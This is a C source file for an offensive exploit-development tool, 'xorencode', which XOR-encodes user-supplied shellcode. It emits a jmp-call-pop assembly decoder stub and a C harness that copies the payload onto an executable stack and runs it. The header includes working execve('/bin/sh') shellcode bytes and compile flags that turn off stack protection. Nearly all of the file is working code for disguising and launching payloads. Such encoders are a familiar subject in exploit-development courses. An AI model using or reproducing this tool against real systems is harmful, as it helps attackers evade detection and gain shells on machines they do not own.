xorencode.c

/**
 * snowcra5h - 2022 
 * snowcra5h@icloud.com
 * 
 * xorencode.c - XOR encoder for your payloads.
 * 
 * Generates two files - xorshellcode.asm and xorshellcode.c
 * - xorshellcode.c is a C file that can be compiled and executed to test your shellcode.
 * - xorshellcode.asm is an assembly file to be used in your exploit.
 * 
 * Usage with Makefile:
 * make
 * To clean up the files generated by the Makefile:
 * make clean 
 * 
 * Usage without Makefile:
 * gcc xorencode.c -o xorencode
 * ./xorencode
 * 
 * Top test your shellcode after it is generated you can use the following command:
 * gcc -g -z execstack -fno-stack-protector -no-pie xorshellcode.c -o xorshellcode
 * ./xorshellcode
 *
 * Test xorencode with the following shellcode:
 * \x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x56\x53\x54\x5F\x6A\x3B\x58\x31\xD2\x0F\x05
 * -> execve("/bin/sh", NULL, NULL); 
 */

#include <stdio.h> 
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
 #include <fcntl.h>

#define MAX_SHELLCODE_LEN 1024

char *g_banner = 
"▒██   ██▒ ▒█████   ██▀███  ▓█████  ███▄    █  ▄████▄   ▒█████  ▓█████▄ ▓█████ \n"
"▒▒ █ █ ▒░▒██▒  ██▒▓██ ▒ ██▒▓█   ▀  ██ ▀█   █ ▒██▀ ▀█  ▒██▒  ██▒▒██▀ ██▌▓█   ▀ \n"
"░░  █   ░▒██░  ██▒▓██ ░▄█ ▒▒███   ▓██  ▀█ ██▒▒▓█    ▄ ▒██░  ██▒░██   █▌▒███   \n"
" ░ █ █ ▒ ▒██   ██░▒██▀▀█▄  ▒▓█  ▄ ▓██▒  ▐▌██▒▒▓▓▄ ▄██▒▒██   ██░░▓█▄   ▌▒▓█  ▄ \n"
"▒██▒ ▒██▒░ ████▓▒░░██▓ ▒██▒░▒████▒▒██░   ▓██░▒ ▓███▀ ░░ ████▓▒░░▒████▓ ░▒████▒\n"
"▒▒ ░ ░▓ ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░░░ ▒░ ░░ ▒░   ▒ ▒ ░ ░▒ ▒  ░░ ▒░▒░▒░  ▒▒▓  ▒ ░░ ▒░ ░\n"
"░░   ░▒ ░  ░ ▒ ▒░   ░▒ ░ ▒░ ░ ░  ░░ ░░   ░ ▒░  ░  ▒     ░ ▒ ▒░  ░ ▒  ▒  ░ ░  ░\n"
" ░    ░  ░ ░ ░ ▒    ░░   ░    ░      ░   ░ ░ ░        ░ ░ ░ ▒   ░ ░  ░    ░   \n"
" ░    ░      ░ ░     ░        ░  ░         ░ ░ ░          ░ ░     ░       ░  ░\n"
"                                             ░                  ░             \n"
"                                                      --= snowcra5h - 2022 =--\n";

char *g_assembly_key =
"; snowcra5h - 2022 \n"
"; snowcra5h@icloud.com\n"
"; \n"
"; xorshellcode.asm - XOR encoded payload\n"
"; \n"
"; nasm -f elf64 -o xc.o xorshellcode.asm\n"
"; objcopy --dump-section .text=xc_text.o xc.o\n"
"; xxd -i xc_text.o\n"
"; rm *.o\n"
"\n"
"global _start\n"
"section .text\n"
"\n"
"_start:\n"
"    jmp jmp_call_pop\n"
"\n"
"pop_rsi:\n"
"    pop rsi\n"
"\n"
"decode:\n"
"    xor byte [rsi], ";

char *g_assembly_shellcode =
"    jz encoded_shellcode\n"
"    inc rsi\n"
"    jmp short decode\n"
"\n"
"jmp_call_pop:\n"
"    call pop_rsi\n"
"encoded_shellcode: db ";

char *g_c_top =
"/**\n"
" * snowcra5h - 2022 \n"
" * snowcra5h@icloud.com\n"
" * \n"
" * xorshellcode.c - XOR encoded payload.\n"
" * \n"
" * gcc -g -z execstack -fno-stack-protector -no-pie xorshellcode.c -o xorshellcode\n"
" */\n"
"\n"
"#include <stdio.h>\n"
"#include <string.h>\n"
"\n"
"void main(void)\n"
"{\n";
char *g_c_bottom =
"\n"
"    char stack[shellcode_len];\n"
"    void (*exec_shellcode)() = (void (*)())stack;\n"
"    memcpy(stack, shellcode, shellcode_len);\n"
"\n"
"    exec_shellcode();\n"
"}\n";

void execve_wrapper(const char *filename, char *const argv[], char *const envp[]);
FILE *fopen_wrapper(char *filename, char *mode);
int get_line(char *buf, int size, FILE *fp);
void dup2_wrapper(int oldfd, int newfd);
size_t fread_wrapper(void *ptr, size_t size, size_t nmemb, FILE *stream);
int open_wrapper(const char *pathname, int flags, mode_t mode);
void waitpid_wrapper(pid_t pid);
pid_t fork_wrapper(void);

void get_payload_from_user(char *shellcode); 
void parse_payload(char *shellcode);
void get_key_from_user(char *key);
void xor_encode_payload(char *shellcode, int shellcode_len, char key);
void print_xor_encoded_payload_and_key(char *shellcode, int shellcode_len, char key);
void run_cmd(char *filename, char *argv[], char *envp[]);
void generate_asm_instructions(char *assembly, char *shellcode, int shellcode_len, char key);
void get_decoded_shellcode_from_file(char *file_name, char **shellcode_c);
size_t get_nlines(char *str);
void parse_and_format_shellcode_c(char *shellcode_c, char *tabshellcode_c);
void write_to_file(char *file_name, const char *data);

int main(int argc, char **argv)
{
    char assembly[MAX_SHELLCODE_LEN * 2];
    char shellcode[MAX_SHELLCODE_LEN];
    char *tabshellcode_c = NULL;
    char *shellcode_c = NULL;
    size_t shellcode_len, num_lines; 
    pid_t pid;
    int fd;
    char key;

    printf("%s", g_banner);

    get_payload_from_user(shellcode);
    get_key_from_user(&key);

    printf("\n[+] Parsing the payload...\n");
    parse_payload(shellcode);
    shellcode_len = strlen(shellcode);

    printf("[+] XOR Encoding the Payload...\n");
    xor_encode_payload(shellcode, shellcode_len, key);

    print_xor_encoded_payload_and_key(shellcode, shellcode_len, key);

    printf("\n[+] Generating Assembly Instructions for Decoder...\n");
    generate_asm_instructions(assembly, shellcode, shellcode_len, key);

    printf("[+] Writing Assembly Instructions to File...\n");
    write_to_file("xorshellcode.asm", assembly);

    printf("[+] Generating the Object File From Assembly Instructions...\n");

    run_cmd("/usr/bin/nasm", (char *[]){"/usr/bin/nasm", "-f", "elf64", "-o", "xc.o", "xorshellcode.asm", NULL}, NULL);
    run_cmd("/usr/bin/objcopy", (char *[]){"/usr/bin/objcopy", "--dump-section", ".text=xc_text.o", "xc.o", NULL}, NULL);
    run_cmd("/bin/rm", (char *[]){"/bin/rm", "xc.o", NULL}, NULL);
    run_cmd("/bin/mv", (char *[]){"/bin/mv", "xc_text.o", "xc.o", NULL}, NULL);

    printf("[+] Generating Shellcode From Object File...\n");
    pid = fork_wrapper();
    if (pid == 0) {
        fd = open_wrapper(".shellcode.c", O_WRONLY | O_CREAT | O_TRUNC, 0644);      
        dup2_wrapper(fd, 1);
        close(fd);
        execve_wrapper("/usr/bin/xxd", (char *[]){"/usr/bin/xxd", "-i", "-n", "shellcode", "xc.o", NULL}, NULL);
    }
    waitpid_wrapper(pid);
    run_cmd("/bin/rm", (char *[]){"/bin/rm", "xc.o", NULL}, NULL);

    printf("[+] Generating C Source Code From Shellcode...\n");
    get_decoded_shellcode_from_file(".shellcode.c", &shellcode_c);
    run_cmd("/bin/rm", (char *[]){"/bin/rm", ".shellcode.c", NULL}, NULL);

    num_lines = get_nlines(shellcode_c);
    tabshellcode_c = malloc(strlen(shellcode_c) + (num_lines * 4) + strlen(g_c_top) + strlen(g_c_bottom) + 1);

    parse_and_format_shellcode_c(shellcode_c, tabshellcode_c);

    printf("[+] Writing C Source Code to File...\n\n");
    write_to_file("xorshellcode.c", tabshellcode_c);

    printf("[+] Printing Assembly Code...\n");
    printf("------ -=[ ASSEMBLY ]=- ------\n");
    printf("%s", assembly);
    printf("------ -=[ ASSEMBLY ]=- ------\n\n");

    printf("[+] Printing C Code...\n");
    printf("------ -=[ C CODE ]=- ------\n");
    printf("%s", tabshellcode_c);
    printf("------ -=[ C CODE ]=- ------\n\n");

    free(shellcode_c);
    free(tabshellcode_c);

    return 0;
}

void get_decoded_shellcode_from_file(char *file_name, char **shellcode_c)
{
    FILE *fp;
    long fsize;

    fp = fopen_wrapper(file_name, "r");
    fseek(fp, 0, SEEK_END);
    fsize = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    *shellcode_c = malloc(fsize + 1);
    fread_wrapper(*shellcode_c, fsize, 1, fp);
    (*shellcode_c)[fsize] = '\0';   

    fclose(fp);
}

void write_to_file(char *file_name, const char *data)
{
    FILE *fp = fopen_wrapper(file_name, "w");
    fprintf(fp, "%s", data);
    fclose(fp);
}

void parse_and_format_shellcode_c(char *shellcode_c, char *tabshellcode_c)
{
    strcpy(tabshellcode_c, g_c_top);
    int j = strlen(g_c_top);
    for (int i = 0; i < strlen(shellcode_c); i++) {
        if (i == 0 || shellcode_c[i - 1] == '\n') {
            tabshellcode_c[j++] = ' ';
            tabshellcode_c[j++] = ' ';
            tabshellcode_c[j++] = ' ';
            tabshellcode_c[j++] = ' ';
        }
        tabshellcode_c[j++] = shellcode_c[i];
    }

    tabshellcode_c[j] = '\0';
    strcat(tabshellcode_c, g_c_bottom);
    tabshellcode_c[j + strlen(g_c_bottom)] = '\0';
}

size_t get_nlines(char *str)
{
    size_t num_lines = 0;
    for (size_t i = 0; i < strlen(str); i++) {
        if (str[i] == '\n')
            num_lines++;
    }
    return num_lines;
}

void generate_asm_instructions(char *assembly, char *shellcode, int shellcode_len, char key)
{
    strcpy(assembly, g_assembly_key);
    sprintf(assembly + strlen(assembly), "0x%02X\n", key & 0xFF);
    strcat(assembly, g_assembly_shellcode);

    for (int i = 0; i < shellcode_len; i++) {
        if (i == shellcode_len - 1)
            sprintf(assembly + strlen(assembly), "0x%02X", shellcode[i] & 0xFF);
        else 
            sprintf(assembly + strlen(assembly), "0x%02X,", shellcode[i] & 0xFF);
    }
    strcat(assembly, "\n");
}

void print_xor_encoded_payload_and_key(char *shellcode, int shellcode_len, char key)
{
    printf("\n[*] XOR Encoded Payload: ");
    for (int i = 0; i < shellcode_len; i++)
        printf("\\x%02X", shellcode[i] & 0xFF);
    printf("\n[*] Key for XOR Encoded Payload: \\x%02X (%d) \n", key & 0xFF, key & 0xFF);
}

void xor_encode_payload(char *shellcode, int shellcode_len, char key)
{
    for (int i = 0; i < shellcode_len; i++)
        shellcode[i] = shellcode[i] ^ key;
}


void get_key_from_user(char *key)
{
    printf("[+] Enter the key for XOR Encoding: ");
    if (scanf("%*c%*c%02hhX", key) != 1) {
        printf("[-] Invalid Key Entered - Exiting Now ! \n");
        exit(1);
    }
}

void get_payload_from_user(char *shellcode) 
{
    printf("[+] Enter Payload to XOR Encode [\\x01\\x02 ...]: ");
    get_line(shellcode, MAX_SHELLCODE_LEN, stdin);
    shellcode[strlen(shellcode) - 1] = '\0';
}

void parse_payload(char *shellcode)
{
    for (int i = 0; i < strlen(shellcode); i++) {
        if (shellcode[i] == '\\') {
            if (shellcode[i + 1] == 'x') {
                char hex[3];
                hex[0] = shellcode[i + 2];
                hex[1] = shellcode[i + 3];
                hex[2] = '\0';
                shellcode[i] = (char)strtol(hex, NULL, 16);
                for (int j = i + 1; j < strlen(shellcode); j++) {
                    shellcode[j] = shellcode[j + 3];
                }
            }
        }
    }
}

size_t fread_wrapper(void *ptr, size_t size, size_t nmemb, FILE *stream)
{
    size_t ret;

    ret = fread(ptr, size, nmemb, stream);
    if (ret == 0) {
        perror("fread failed");
        exit(1);
    }
    return ret;
}

void execve_wrapper(const char *filename, char *const argv[], char *const envp[])
{
    execve(filename, argv, envp);
    perror("execve failed");
    exit(1);
}

int open_wrapper(const char *pathname, int flags, mode_t mode)
{
    int fd;

    fd = open(pathname, flags, mode);
    if (fd == -1) {
        perror("open failed");
        exit(1);
    }
    return fd;
}

pid_t fork_wrapper(void)
{
    pid_t pid;

    pid = fork();
    if (pid == -1) {
        perror("fork failed");
        exit(1);
    }
    return pid;
}

void waitpid_wrapper(pid_t pid)
{
    int wstatus;

    if (waitpid(pid, &wstatus, 0) == -1) {
        perror("waitpid failed");
        exit(1);
    }
}

void dup2_wrapper(int oldfd, int newfd)
{
    if (dup2(oldfd, newfd) == -1) {
        perror("dup2 failed");
        exit(1);
    }
}

int get_line(char *buf, int size, FILE *fp)
{
    if (fgets(buf, size, fp) == NULL) {
        if (feof(fp)) {
            return 0;
        } else {
            perror("fgets failed");
            exit(1);
        }
    }
    return 1;
}

FILE *fopen_wrapper(char *filename, char *mode)
{
    FILE *fp;

    fp = fopen(filename, mode);
    if (fp == NULL) {
        perror("fopen failed");
        exit(1);
    }
    return fp;
}


void run_cmd(char *filename, char *argv[], char *envp[])
{
    pid_t pid;

    pid = fork_wrapper();
    if (pid == 0)
        execve_wrapper(filename, argv, envp);
    waitpid_wrapper(pid);
}